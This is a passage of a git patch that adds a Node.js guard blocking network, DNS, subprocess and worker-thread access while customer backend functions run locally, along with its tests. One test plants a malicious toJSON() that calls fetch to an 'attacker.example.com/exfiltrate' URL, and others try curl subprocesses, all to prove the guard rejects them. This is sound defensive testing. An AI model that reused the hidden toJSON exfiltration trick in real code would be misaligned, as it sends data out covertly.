From 337f0f1815227317cc3d5c0837669b6860dc2400 Mon Sep 17 00:00:00 2001 From: Tiffany Trinh Date: Thu, 3 Sep 2026 02:33:36 -0400 Subject: [PATCH 1/2] feat(apps): block network, subprocess, and worker-thread access during local execution MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Local execution runs customer backend functions in-process, unlike prod's Deno sandbox — this file enforces the same "no direct network/subprocess access, route through $.Actions instead" boundary at the JS level via monkey-patched Node core modules, scoped per-call through AsyncLocalStorage rather than a global toggle. Guards net.Socket.connect, fetch, dgram send/connect/bind, net.Server.listen, all dns resolver surfaces (plain, promises, Resolver, promises.Resolver), child_process spawn/exec/fork and their sync/promisified variants, the global WebSocket/EventSource constructors, and worker_threads.Worker construction. installGuardedProperty installs each guard as a permanent, non-configurable getter/setter so a dependency can't strip it via direct descriptor replacement, while still allowing the legitimate "capture original, mock, restore" idiom through plain assignment. The blocked/allowed AsyncLocalStorage state lives on the real `net` module object (keyed by a process-wide Symbol) rather than a plain per-module instance, since this file is evaluated more than once — bundled copies in runBundlers.ts, and Jest's per-test-file module isolation — and every evaluation needs the same store; neither `globalThis` nor `process` works for this since Jest sandboxes those per test file too. --- .../plugins/apps/src/vite/execution-epoch.ts | 10 + .../apps/src/vite/local-execution.test.ts | 343 +++++++ .../plugins/apps/src/vite/local-execution.ts | 45 +- .../apps/src/vite/network-guard.test.ts | 855 ++++++++++++++++++ .../plugins/apps/src/vite/network-guard.ts | 438 +++++++++ 5 files changed, 1683 insertions(+), 8 deletions(-) create mode 100644 packages/plugins/apps/src/vite/network-guard.test.ts create mode 100644 packages/plugins/apps/src/vite/network-guard.ts diff --git a/packages/plugins/apps/src/vite/execution-epoch.ts b/packages/plugins/apps/src/vite/execution-epoch.ts index cb058117b..e7cc23a98 100644 --- a/packages/plugins/apps/src/vite/execution-epoch.ts +++ b/packages/plugins/apps/src/vite/execution-epoch.ts @@ -13,6 +13,10 @@ export interface EpochScope { export interface EpochGuard { /** Starts a new scope, superseding whichever one was previously active. */ start(): EpochScope; + /** True if some started scope hasn't yet been concluded or superseded. */ + hasActiveScope(): boolean; + /** Unconditionally invalidates the active scope without starting a new one — the backstop for a scope whose own `fn` never settles. */ + forceInvalidate(): void; } export function createEpochGuard(): EpochGuard { @@ -34,5 +38,11 @@ export function createEpochGuard(): EpochGuard { }, }; }, + hasActiveScope() { + return activeGeneration !== null; + }, + forceInvalidate() { + activeGeneration = null; + }, }; } diff --git a/packages/plugins/apps/src/vite/local-execution.test.ts b/packages/plugins/apps/src/vite/local-execution.test.ts index 05df6530b..77d2430ca 100644 --- a/packages/plugins/apps/src/vite/local-execution.test.ts +++ b/packages/plugins/apps/src/vite/local-execution.test.ts @@ -16,6 +16,7 @@ import { deriveActionTimeouts, executeScriptLocally, } from './local-execution'; +import { forceReset } from './network-guard'; const func: BackendFunction = { relativePath: 'src/example', @@ -48,6 +49,11 @@ beforeEach(() => { const stubExecuteAction: ExecuteAction = async (fqn) => ({ data: null, stub: true, fqn }); +// net/fetch/child_process are real process-wide singletons — a test that leaves them patched leaks into later tests in this worker. +afterEach(() => { + forceReset(); +}); + /** A `loadModule` double that resolves the customer's function from a map and rejects anything else with a module-not-found error, matching the common case where neither optional package is installed. */ function loadModuleReturning(exports: Record): LoadModule { return moduleResolverFor(func, exports); @@ -711,6 +717,56 @@ describe('local-execution — executeScriptLocally', () => { ).rejects.toThrow(/timed out after 50ms/); }); + test("Should keep a hung function's own late continuation blocked after timeout, while a fresh execution afterward still works normally", async () => { + let lateNetworkAttempt: Promise | undefined; + + await expect( + executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => + new Promise(() => { + // Scheduled, not awaited, so `example` never settles and the race + // below times out normally — fires after that 50ms timeout, not before. + setTimeout(() => { + lateNetworkAttempt = fetch('https://example.com'); + lateNetworkAttempt.catch(() => undefined); + }, 100); + }), + }), + mockLogger, + 50, + ), + ).rejects.toThrow(/timed out after 50ms/); + + // Lets the hung function's own delayed continuation fire, well after the timeout above. + await new Promise((resolve) => setTimeout(resolve, 100)); + + // The abandoned continuation's own async chain stays permanently blocked (by design), so + // its late network attempt must still be rejected — an identity check on the guarded + // property can't verify this, since the wrapper never changes identity either way. + expect(lateNetworkAttempt).toBeDefined(); + await expect(lateNetworkAttempt).rejects.toThrow(/Network access is not allowed/); + + // A fresh execution afterward must still work normally — the abandoned scope above must + // not permanently wedge network/action access for everything that runs after it. + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => + testDollar().Actions.slack.chat.postMessage({ inputs: { text: 'hi' } }), + }), + mockLogger, + ); + expect(result).toEqual({ data: { data: null, stub: true, fqn: expect.any(String) } }); + }); + // Asserts $'s exact key set, since a token added inside globalThis.$ wouldn't be caught by the weaker top-level check below. test('Should never expose an auth token to the customer module — only backendFunctionArgs, Actions, and Source are visible on globalThis.$', async () => { const result = await executeScriptLocally( @@ -1615,6 +1671,244 @@ describe('local-execution — executeScriptLocally', () => { }); }); + describe('network/subprocess guard', () => { + test('Should reject when the customer function tries a raw net.Socket connection', async () => { + await expect( + executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => { + // eslint-disable-next-line @typescript-eslint/no-require-imports + const net = require('net'); + return new net.Socket().connect(80, 'example.com'); + }, + }), + mockLogger, + ), + ).rejects.toThrow(/Network access is not allowed/); + }); + + test('Should reject when the customer function tries a raw fetch() call', async () => { + await expect( + executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ example: () => fetch('https://example.com') }), + mockLogger, + ), + ).rejects.toThrow(/Network access is not allowed/); + }); + + test('Should reject when the customer function tries to spawn a subprocess', async () => { + await expect( + executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => { + // eslint-disable-next-line @typescript-eslint/no-require-imports + const child_process = require('child_process'); + return child_process.execSync('curl https://example.com'); + }, + }), + mockLogger, + ), + ).rejects.toThrow(/Spawning a subprocess is not allowed/); + }); + + test('Should still let a real $.Actions call through while the rest of the function is network-blocked', async () => { + const executeAction = jest.fn().mockResolvedValue({ ok: true }); + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + executeAction, + loadModuleReturning({ + example: async () => { + const actionResult = await ( + globalThis as Record + ).$.Actions.slack.chat.postMessage({ inputs: { text: 'hi' } }); + // A raw fetch right after the sanctioned $.Actions call must still be blocked — the exemption is scoped to that one call. + await expect(fetch('https://example.com')).rejects.toThrow( + /Network access is not allowed/, + ); + return actionResult; + }, + }), + mockLogger, + ); + expect(result).toEqual({ data: { ok: true } }); + expect(executeAction).toHaveBeenCalledWith( + 'com.datadoghq.slack.chat.postMessage', + { text: 'hi' }, + undefined, + ); + }); + + test('Should block a malicious toJSON() on $.Actions inputs from making a real network call under cover of the exemption', async () => { + // toJSON() must be synchronous, so its fetch attempt can't be awaited there — capture the outcome and assert once the whole execution settles. + let fetchAttempt: Promise | undefined; + const maliciousInputs = { + text: 'hi', + toJSON() { + // Would resolve instead of rejecting if this ran inside runAllowed's window, meant only for the trusted preview-async call itself. + fetchAttempt = fetch('https://attacker.example.com/exfiltrate'); + return { text: 'hi' }; + }, + }; + + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => + (globalThis as Record).$.Actions.slack.chat.postMessage({ + inputs: maliciousInputs, + }), + }), + mockLogger, + ); + + expect(result).toEqual({ data: { data: null, stub: true, fqn: expect.any(String) } }); + expect(fetchAttempt).toBeDefined(); + await expect(fetchAttempt).rejects.toThrow(/Network access is not allowed/); + }); + + test('Should restore real network access after execution, for whatever the dev server itself does next', async () => { + const realFetch = globalThis.fetch; + await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ example: () => 'fine' }), + mockLogger, + ); + expect(globalThis.fetch).toBe(realFetch); + }); + + test('Should keep network access allowed through two real, overlapping $.Actions calls made concurrently via Promise.all, without either blocking the other mid-flight', async () => { + // Proves the exemption holds through the real customer path (Promise.all → makeActionsProxy → runAllowed), not just at the unit level. + const order: string[] = []; + const executeAction: ExecuteAction = async (fqn) => { + const label = fqn.includes('slow') ? 'slow' : 'fast'; + order.push(`${label}-start`); + if (label === 'slow') { + await new Promise((r) => setTimeout(r, 20)); + } + await fetch(`https://example.com/${label}`); + order.push(`${label}-end`); + return { ok: true, fqn }; + }; + + const originalFetch = globalThis.fetch; + const fetchMock = jest.fn().mockResolvedValue('ok'); + (globalThis as { fetch: typeof fetch }).fetch = fetchMock as unknown as typeof fetch; + + let result: { data: unknown }; + try { + result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + executeAction, + loadModuleReturning({ + example: () => { + const $ = (globalThis as Record).$; + return Promise.all([ + $.Actions.slow.action({ inputs: {} }), + $.Actions.fast.action({ inputs: {} }), + ]); + }, + }), + mockLogger, + ); + } finally { + (globalThis as { fetch: typeof fetch }).fetch = originalFetch; + } + + expect(result.data).toEqual([ + { ok: true, fqn: 'com.datadoghq.slow.action' }, + { ok: true, fqn: 'com.datadoghq.fast.action' }, + ]); + // The slow call's own fetch, made after the fast call's allow scope exited, must still resolve — network stayed allowed for it the whole time. + expect(order).toEqual(['slow-start', 'fast-start', 'fast-end', 'slow-end']); + expect(fetchMock).toHaveBeenCalledWith('https://example.com/slow'); + expect(fetchMock).toHaveBeenCalledWith('https://example.com/fast'); + }); + + // The action-catalog callback must be exempted from the block like makeActionsProxy's apply trap — it runs from inside the blocked function. + test("Should let a real network call through an action-catalog typed-wrapper call, not block it as if it were the customer's own code", async () => { + jest.spyOn(shared, 'isActionCatalogInstalled').mockReturnValue(true); + const executeAction: ExecuteAction = async (fqn, inputs) => { + const response = await fetch('https://example.com/action-catalog'); + return { fqn, inputs, response }; + }; + + let registeredImpl: + | ((actionId: string, request: unknown) => Promise) + | undefined; + const loadModule: LoadModule = async (specifier: string) => { + if (specifier === func.absolutePath + LOCAL_EXECUTION_LOAD_SUFFIX) { + return { + example: async () => + registeredImpl?.('com.datadoghq.slack.chat.postMessage', { + inputs: { text: 'hi' }, + }), + }; + } + if (specifier === '@datadog/action-catalog/action-execution') { + return { + setExecuteActionImplementation: ( + impl: (actionId: string, request: unknown) => Promise, + ) => { + registeredImpl = impl; + }, + }; + } + const notFoundError: NodeJS.ErrnoException = new Error( + `Cannot find module '${specifier}'`, + ); + notFoundError.code = 'MODULE_NOT_FOUND'; + throw notFoundError; + }; + + const originalFetch = globalThis.fetch; + const fetchMock = jest.fn().mockResolvedValue('ok'); + (globalThis as { fetch: typeof fetch }).fetch = fetchMock as unknown as typeof fetch; + + let result: { data: unknown }; + try { + result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + executeAction, + loadModule, + mockLogger, + ); + } finally { + (globalThis as { fetch: typeof fetch }).fetch = originalFetch; + } + + expect(result.data).toEqual({ + fqn: 'com.datadoghq.slack.chat.postMessage', + inputs: { text: 'hi' }, + response: 'ok', + }); + expect(fetchMock).toHaveBeenCalledWith('https://example.com/action-catalog'); + }); + }); + describe('serialization of concurrent executions', () => { beforeEach(() => { delete (globalThis as Record)[ORDER_MARKER]; @@ -2278,5 +2572,54 @@ describe('local-execution — executeScriptLocally', () => { expect(callCount).toBe(0); }); + + // An abandoned execution's loadModule can resolve late, after a newer one is already inside the guards — it must not corrupt the newer state. + test("Should never let an abandoned execution's late-resolving loadModule enter the network/env guards while a newer execution is still inside them", async () => { + const makeLoadModule = (mainDelayMs: number): LoadModule => { + return async (specifier: string) => { + if (specifier === func.absolutePath + LOCAL_EXECUTION_LOAD_SUFFIX) { + if (mainDelayMs > 0) { + await new Promise((resolve) => setTimeout(resolve, mainDelayMs)); + } + return { + example: async () => { + // B's own body: still running when A's slow loadModule resolves, so any state A corrupts on its way in would be visible here. + await new Promise((resolve) => setTimeout(resolve, 200)); + return 'b-result'; + }, + }; + } + const notFoundError: NodeJS.ErrnoException = new Error( + `Cannot find module '${specifier}'`, + ); + notFoundError.code = 'MODULE_NOT_FOUND'; + throw notFoundError; + }; + }; + + // A times out at 20ms, well before its own 150ms-delayed loadModule resolves. + const abandoned = executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + makeLoadModule(150), + mockLogger, + 20, + ); + await expect(abandoned).rejects.toThrow(/timed out after 20ms/); + + // B starts as soon as the queue frees, and is still running its own 200ms body when A's loadModule resolves at the ~150ms mark. + const second = executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + makeLoadModule(0), + mockLogger, + ); + + await expect(second).resolves.toEqual({ data: 'b-result' }); + }); }); }); diff --git a/packages/plugins/apps/src/vite/local-execution.ts b/packages/plugins/apps/src/vite/local-execution.ts index 80b748cf3..079895a4a 100644 --- a/packages/plugins/apps/src/vite/local-execution.ts +++ b/packages/plugins/apps/src/vite/local-execution.ts @@ -16,6 +16,7 @@ import type { LongPollingOptions } from '../types'; import { resolveLongPolling } from '../validate'; import { createEpochGuard } from './execution-epoch'; +import { forceReset, runAllowed, runBlocked } from './network-guard'; import { getTotalRetryDelayBudgetMs } from './retry-delay'; type BackendGlobals = { @@ -230,7 +231,23 @@ function abandonedExecutionError(functionName: string, refusedAction: string): E */ const executionEpoch = createEpochGuard(); -/** Resolves a nested property path (e.g. $.Actions.slack.chat.postMessage) to a callable that invokes `executeAction` directly — no IPC needed since there's no separate process to cross. */ +/** JSON round-trips `$.Actions` inputs before `runAllowed`, so a malicious `toJSON()`/getter can't sneak a network call under the trusted action. */ +function serializeActionInputs( + inputs: Record, + actionDescription: string, +): Record { + try { + return JSON.parse(JSON.stringify(inputs)); + } catch (err) { + throw new Error( + `Inputs to action ${actionDescription} can't be serialized to JSON: ${ + err instanceof Error ? err.message : String(err) + }`, + ); + } +} + +/** Resolves a `$.Actions` path to a callable wrapped in `runAllowed`, the one call exempted from `runBlocked` (see network-guard.ts). */ function makeActionsProxy( executeAction: ExecuteAction, allowedConnectionIds: string[], @@ -247,17 +264,19 @@ function makeActionsProxy( return makeActionsProxy(executeAction, allowedConnectionIds, nestedPathParts); }, async apply(_target, _thisArg, args: unknown[]) { + const actionPath = pathParts.join('.'); if (args.length === 0) { - throw new Error(`No arguments provided to action $.Actions.${pathParts.join('.')}`); + throw new Error(`No arguments provided to action $.Actions.${actionPath}`); } const call: Partial = isIndexableRecord(args[0]) ? args[0] : {}; const { inputs, connectionId } = validateActionCall( call, allowedConnectionIds, - `$.Actions.${pathParts.join('.')}`, + `$.Actions.${actionPath}`, ); - const fqn = `com.datadoghq.${pathParts.join('.')}`; - return executeAction(fqn, inputs, connectionId); + const fqn = `com.datadoghq.${actionPath}`; + const serializedInputs = serializeActionInputs(inputs, `$.Actions.${actionPath}`); + return runAllowed(() => executeAction(fqn, serializedInputs, connectionId)); }, }); } @@ -349,7 +368,8 @@ async function registerActionCatalogOnce(loadModule: LoadModule, timeoutMs: numb dispatch.allowedConnectionIds, `"${actionId}"`, ); - return dispatch.executeAction(actionId, inputs, connectionId); + const serializedInputs = serializeActionInputs(inputs, `"${actionId}"`); + return runAllowed(() => dispatch.executeAction(actionId, serializedInputs, connectionId)); }); } @@ -615,6 +635,11 @@ async function runScriptLocally( const scheduleTimeout = () => { timer = setTimeout(() => { concludeExecution(); + // Promise.race abandons a hung fn without cancelling it, so its runBlocked scope's + // try/finally cleanup never runs. Invalidates the epoch so a later runAllowed call + // from the abandoned fn becomes a no-op instead of wrongly exempting it — the block + // itself stays enforced regardless, via blockedContext's own AsyncLocalStorage scoping. + forceReset(); rejectTimeout?.( new Error(`Local execution of "${func.name}" timed out after ${timeoutMs}ms`), ); @@ -724,8 +749,12 @@ async function runScriptLocally( `Execution of "${func.name}" was abandoned after timing out before it could start.`, ); } - const result = await fn(...args); - return { data: assertJsonSerializable(result, func) }; + // assertJsonSerializable runs inside runBlocked's callback, not after, since its toJSON()/getter calls must run while access is still blocked. + const data = await runBlocked(async () => { + const result = await fn(...args); + return assertJsonSerializable(result, func); + }); + return { data }; }), ); } finally { diff --git a/packages/plugins/apps/src/vite/network-guard.test.ts b/packages/plugins/apps/src/vite/network-guard.test.ts new file mode 100644 index 000000000..6f8ba8e2f --- /dev/null +++ b/packages/plugins/apps/src/vite/network-guard.test.ts @@ -0,0 +1,855 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the MIT License. +// This product includes software developed at Datadog (https://www.datadoghq.com/). +// Copyright 2019-Present Datadog, Inc. + +/* global globalThis */ + +import child_process from 'child_process'; +import dgram from 'dgram'; +import dns from 'dns'; +import net from 'net'; +import { promisify } from 'util'; +import worker_threads from 'worker_threads'; + +import { + forceReset, + guardEventSource, + guardWebSocket, + guardWorker, + installGuardedProperty, + runAllowed, + runBlocked, +} from './network-guard'; + +// net/fetch/child_process are real process-wide singletons — a test that leaves them patched leaks into later tests in the same worker. +afterEach(() => { + forceReset(); +}); + +describe('network-guard', () => { + describe('runBlocked', () => { + test('Should block a raw net.Socket.connect() call made inside fn', async () => { + await expect( + runBlocked(async () => { + new net.Socket().connect(80, 'example.com'); + }), + ).rejects.toThrow(/Network access is not allowed/); + }); + + test('Should block a fetch() call made inside fn', async () => { + await expect( + runBlocked(async () => { + await fetch('https://example.com'); + }), + ).rejects.toThrow(/Network access is not allowed/); + }); + + test('Should block dgram.Socket send/connect made inside fn', async () => { + await expect( + runBlocked(async () => { + dgram.createSocket('udp4').send('data', 80, 'example.com'); + }), + ).rejects.toThrow(/Network access is not allowed/); + + await expect( + runBlocked(async () => { + dgram.createSocket('udp4').connect(80, 'example.com'); + }), + ).rejects.toThrow(/Network access is not allowed/); + }); + + test('Should block net.Server.listen() and dgram.Socket.bind() made inside fn', async () => { + await expect( + runBlocked(async () => { + net.createServer().listen(0); + }), + ).rejects.toThrow(/Network access is not allowed/); + + await expect( + runBlocked(async () => { + dgram.createSocket('udp4').bind(0); + }), + ).rejects.toThrow(/Network access is not allowed/); + }); + + test('Should let net.Server.listen() and dgram.Socket.bind() through outside a blocked scope', async () => { + const server = net.createServer(); + await new Promise((resolve, reject) => { + server.once('listening', resolve); + server.once('error', reject); + server.listen(0); + }); + expect(server.listening).toBe(true); + server.close(); + + const socket = dgram.createSocket('udp4'); + await new Promise((resolve, reject) => { + socket.once('listening', resolve); + socket.once('error', reject); + socket.bind(0); + }); + expect(socket.address().port).toBeGreaterThan(0); + socket.close(); + }); + + // Each of the 4 dns resolver surfaces is a distinct function object needing its own guard — + // see network-guard.ts's DNS_RESOLVE_METHODS comment for why dns.lookup stays unguarded. + describe('dns resolver methods', () => { + test('Should block dns.resolve4 on all 4 surfaces (plain, promises, Resolver, promises.Resolver) inside fn', async () => { + await expect( + runBlocked(async () => { + dns.resolve4('example.com', () => undefined); + }), + ).rejects.toThrow(/Network access is not allowed/); + + await expect( + runBlocked(async () => { + await dns.promises.resolve4('example.com'); + }), + ).rejects.toThrow(/Network access is not allowed/); + + await expect( + runBlocked(async () => { + new dns.Resolver().resolve4('example.com', () => undefined); + }), + ).rejects.toThrow(/Network access is not allowed/); + + await expect( + runBlocked(async () => { + await new dns.promises.Resolver().resolve4('example.com'); + }), + ).rejects.toThrow(/Network access is not allowed/); + }); + + test('Should block dns.resolveTxt made inside fn', async () => { + await expect( + runBlocked(async () => { + dns.resolveTxt('example.com', () => undefined); + }), + ).rejects.toThrow(/Network access is not allowed/); + }); + + test('Should block dns.promises.reverse made inside fn', async () => { + await expect( + runBlocked(async () => { + await dns.promises.reverse('127.0.0.1'); + }), + ).rejects.toThrow(/Network access is not allowed/); + }); + + // Matches guardFetch's contract: dns.promises.* always returns a Promise, so a blocked + // call must reject it rather than throw synchronously. + test('Should reject rather than throw synchronously from dns.promises.resolve4 and dns.promises.Resolver.prototype.resolve4 when blocked', async () => { + await runBlocked(async () => { + // Only the returned Promise should reject — calling the method itself must not throw. + let plainCallResult: Promise | undefined; + expect(() => { + plainCallResult = dns.promises.resolve4('example.com'); + }).not.toThrow(); + // Duck-typed, not `toBeInstanceOf(Promise)` — this file and its test file can be + // separate module evaluations under Jest's per-file isolation, so the returned + // value's `Promise` constructor may not be strictly `===` this test file's own. + expect(typeof plainCallResult?.then).toBe('function'); + await expect(plainCallResult).rejects.toThrow(/Network access is not allowed/); + + // A caller chaining `.catch()` directly onto the call (not awaiting/try-catching + // it) must have that handler actually fire, proving a real rejection occurred + // rather than an uncaught synchronous exception the `.catch()` never attaches to. + let caught: unknown; + expect(() => { + dns.promises.resolve4('example.com').catch((err: unknown) => { + caught = err; + }); + }).not.toThrow(); + await Promise.resolve(); + // Same cross-realm caveat as above — duck-type instead of `toBeInstanceOf(Error)`. + expect(typeof (caught as Error)?.message).toBe('string'); + expect((caught as Error).message).toMatch(/Network access is not allowed/); + + // Same contract on the Resolver-instance surface. + const resolver = new dns.promises.Resolver(); + let resolverCallResult: Promise | undefined; + expect(() => { + resolverCallResult = resolver.resolve4('example.com'); + }).not.toThrow(); + expect(typeof resolverCallResult?.then).toBe('function'); + await expect(resolverCallResult).rejects.toThrow( + /Network access is not allowed/, + ); + }); + }); + + test('Should restore the real dns.resolve4 after fn resolves', async () => { + const realResolve4 = dns.resolve4; + await runBlocked(async () => undefined); + expect(dns.resolve4).toBe(realResolve4); + }); + + test('Should let dns.resolve4 pass through to the underlying implementation outside a blocked scope', async () => { + const originalResolve4 = dns.resolve4; + const mockResolve4 = jest.fn( + (hostname: string, callback: (...a: never[]) => void) => + (callback as (err: null, addresses: string[]) => void)(null, ['127.0.0.1']), + ); + (dns as unknown as { resolve4: unknown }).resolve4 = mockResolve4; + + try { + await new Promise((resolve) => { + dns.resolve4('example.com', () => resolve()); + }); + expect(mockResolve4).toHaveBeenCalled(); + } finally { + (dns as unknown as { resolve4: unknown }).resolve4 = originalResolve4; + } + }); + }); + + // Global WebSocket doesn't exist on every Node version this repo supports (CI pins Node 20, + // where it's absent) — skip rather than fail on a version where there's nothing to guard. + const GlobalWebSocket = ( + globalThis as unknown as { WebSocket?: new (url: string) => unknown } + ).WebSocket; + const testIfWebSocketExists = GlobalWebSocket ? test : test.skip; + testIfWebSocketExists('Should block a new WebSocket(...) call made inside fn', async () => { + // eslint-disable-next-line jest/no-standalone-expect -- testIfWebSocketExists is test/test.skip, the rule just can't see through the variable + await expect( + runBlocked(async () => { + new (GlobalWebSocket as new (url: string) => unknown)('ws://example.com'); + }), + ).rejects.toThrow(/Network access is not allowed/); + }); + + test('Should block child_process.spawn/spawnSync/exec/execSync/execFile/execFileSync/fork made inside fn', async () => { + await expect( + runBlocked(async () => { + child_process.spawn('curl', ['https://example.com']); + }), + ).rejects.toThrow(/Spawning a subprocess is not allowed/); + await expect( + runBlocked(async () => { + child_process.spawnSync('curl', ['https://example.com']); + }), + ).rejects.toThrow(/Spawning a subprocess is not allowed/); + await expect( + runBlocked(async () => { + child_process.exec('curl https://example.com'); + }), + ).rejects.toThrow(/Spawning a subprocess is not allowed/); + await expect( + runBlocked(async () => { + child_process.execSync('curl https://example.com'); + }), + ).rejects.toThrow(/Spawning a subprocess is not allowed/); + await expect( + runBlocked(async () => { + child_process.execFile('curl', ['https://example.com']); + }), + ).rejects.toThrow(/Spawning a subprocess is not allowed/); + await expect( + runBlocked(async () => { + child_process.execFileSync('curl', ['https://example.com']); + }), + ).rejects.toThrow(/Spawning a subprocess is not allowed/); + await expect( + runBlocked(async () => { + child_process.fork('./some-script.js'); + }), + ).rejects.toThrow(/Spawning a subprocess is not allowed/); + }); + + // promisify.custom lives on the specific function object, not inherited by a fresh wrapper — @dd/tools execute() depends on the real shape. + test('Should resolve promisify(execFile) to the real {stdout, stderr} shape, not a bare string, when not blocked', async () => { + const execFileP = promisify(child_process.execFile); + const result = await execFileP('node', ['-e', 'console.log("hi")']); + expect(result).toEqual( + expect.objectContaining({ stdout: expect.stringContaining('hi') }), + ); + }); + + test('Should still block promisify(execFile) inside a runBlocked scope', async () => { + const execFileP = promisify(child_process.execFile); + await expect( + runBlocked(async () => { + await execFileP('node', ['-e', 'console.log("hi")']); + }), + ).rejects.toThrow(/Spawning a subprocess is not allowed/); + }); + + // exec/execFile share a guard maker but take different argument shapes — a fix for one could silently miss the other. + test('Should resolve promisify(exec) to the real {stdout, stderr} shape and still block it inside runBlocked', async () => { + const execP = promisify(child_process.exec); + const result = await execP('node -e "console.log(\'hi\')"'); + expect(result).toEqual( + expect.objectContaining({ stdout: expect.stringContaining('hi') }), + ); + + await expect( + runBlocked(async () => { + await execP('node -e "console.log(\'hi\')"'); + }), + ).rejects.toThrow(/Spawning a subprocess is not allowed/); + }); + + // Matches Node's real promisify(execFile) contract: a rejected error carries stdout/stderr too, not just a resolved success. + test('Should attach stdout/stderr onto a rejected promisify(execFile) error, matching real Node behavior', async () => { + const execFileP = promisify(child_process.execFile); + await expect( + execFileP('node', [ + '-e', + 'console.log("out"); console.error("boom"); process.exit(1)', + ]), + ).rejects.toEqual( + expect.objectContaining({ + stdout: expect.stringContaining('out'), + stderr: expect.stringContaining('boom'), + }), + ); + }); + + // Matches Node's real PromiseWithChild contract — a caller outside a blocked scope that + // inspects/signals/terminates `.child` must not lose it to this guard's own implementation. + test("Should expose the spawned ChildProcess as `.child` on promisify(execFile)'s returned promise", async () => { + const execFileP = promisify(child_process.execFile); + const resultPromise = execFileP('node', ['-e', 'console.log("hi")']); + expect(resultPromise.child).toBeInstanceOf(child_process.ChildProcess); + await resultPromise; + }); + + test("Should expose the spawned ChildProcess as `.child` on promisify(exec)'s returned promise too", async () => { + const execP = promisify(child_process.exec); + const resultPromise = execP('node -e "console.log(\'hi\')"'); + expect(resultPromise.child).toBeInstanceOf(child_process.ChildProcess); + await resultPromise; + }); + + // A dependency calling `new child_process.ChildProcess().spawn(...)` directly bypasses all the higher-level guarded factory functions above. + test('Should block a direct new child_process.ChildProcess().spawn(...) call, bypassing the factory functions', async () => { + await expect( + runBlocked(async () => { + // eslint-disable-next-line @typescript-eslint/no-explicit-any + (new child_process.ChildProcess() as any).spawn({ file: 'curl' }); + }), + ).rejects.toThrow(/Spawning a subprocess is not allowed/); + }); + + // A worker gets a fresh V8 realm with its own module registry, so nothing inside it inherits + // this file's monkeypatches — the only enforceable boundary is blocking construction itself. + test('Should block new Worker(...) construction made inside fn', async () => { + await expect( + runBlocked(async () => { + new worker_threads.Worker('', { eval: true }); + }), + ).rejects.toThrow(/Spawning a worker thread is not allowed/); + }); + + test('Should allow constructing, messaging, and cleanly terminating a Worker outside a blocked scope', async () => { + const worker = new worker_threads.Worker( + "require('worker_threads').parentPort.on('message', () => undefined);", + { eval: true }, + ); + expect(worker).toBeInstanceOf(worker_threads.Worker); + try { + expect(() => worker.postMessage('ping')).not.toThrow(); + } finally { + await expect(worker.terminate()).resolves.toEqual(expect.any(Number)); + } + }); + + // fn returning doesn't mean fn is done — detached async work it scheduled without awaiting keeps running and must still see the guard. + test('Should still block a detached, unawaited setTimeout callback scheduled during fn, even after fn itself has already resolved', async () => { + let detachedFetchResult: Promise | undefined; + let detachedFetchSettled = false; + + await runBlocked(async () => { + // Deliberately not awaited — fn returns immediately while this keeps running in the background. + setTimeout(() => { + const result = fetch('https://example.com'); + detachedFetchResult = result; + // Attached synchronously so the rejection is never briefly unhandled before the `.rejects` assertion below attaches its own handler. + result.then( + () => { + detachedFetchSettled = true; + }, + () => { + detachedFetchSettled = true; + }, + ); + }, 0); + }); + + // fn (and therefore runBlocked) has already resolved here — a per-cycle restore would have put the real fetch back before this fires. + await new Promise((resolve) => setTimeout(resolve, 10)); + + expect(detachedFetchSettled).toBe(true); + await expect(detachedFetchResult).rejects.toThrow(/Network access is not allowed/); + }); + + test('Should restore the real net.Socket.connect after fn resolves', async () => { + const realConnect = net.Socket.prototype.connect; + await runBlocked(async () => undefined); + expect(net.Socket.prototype.connect).toBe(realConnect); + }); + + test('Should restore the real fetch after fn resolves', async () => { + const realFetch = globalThis.fetch; + await runBlocked(async () => undefined); + expect(globalThis.fetch).toBe(realFetch); + }); + + test('Should restore the real network functions even when fn throws', async () => { + const realConnect = net.Socket.prototype.connect; + const realFetch = globalThis.fetch; + await expect( + runBlocked(async () => { + throw new Error('customer function boom'); + }), + ).rejects.toThrow('customer function boom'); + expect(net.Socket.prototype.connect).toBe(realConnect); + expect(globalThis.fetch).toBe(realFetch); + }); + + test('Should not block a subsequent, separate runBlocked call after an earlier one already restored', async () => { + await expect( + runBlocked(async () => { + throw new Error('first execution boom'); + }), + ).rejects.toThrow('first execution boom'); + + // Confirms the guard doesn't leak a "still blocked" state the way a naive boolean (never reset on throw) could. + const result = await runBlocked(async () => 'second execution result'); + expect(result).toBe('second execution result'); + }); + + // The guarded property holds no snapshot to reinstall — its setter just updates the delegate — so an idle forceReset() has nothing to clobber. + test('Should make an idle forceReset() a true no-op, never reinstalling an earlier mock over the current one', async () => { + const originalFetch = globalThis.fetch; + try { + const mockA = jest.fn().mockResolvedValue('mock A'); + (globalThis as { fetch: typeof fetch }).fetch = mockA as unknown as typeof fetch; + + await runBlocked(async () => undefined); + await expect(fetch('https://example.com')).resolves.toBe('mock A'); + + // A later, unrelated mock is installed with runBlocked never called again in between, so the guard is genuinely idle. + const mockB = jest.fn().mockResolvedValue('mock B'); + (globalThis as { fetch: typeof fetch }).fetch = mockB as unknown as typeof fetch; + + forceReset(); + + await expect(fetch('https://example.com')).resolves.toBe('mock B'); + } finally { + (globalThis as { fetch: typeof fetch }).fetch = originalFetch; + } + }); + + // An abandoned execution's late settlement must not restore real network access out from under a newer, active runBlocked scope. + test("Should not let an 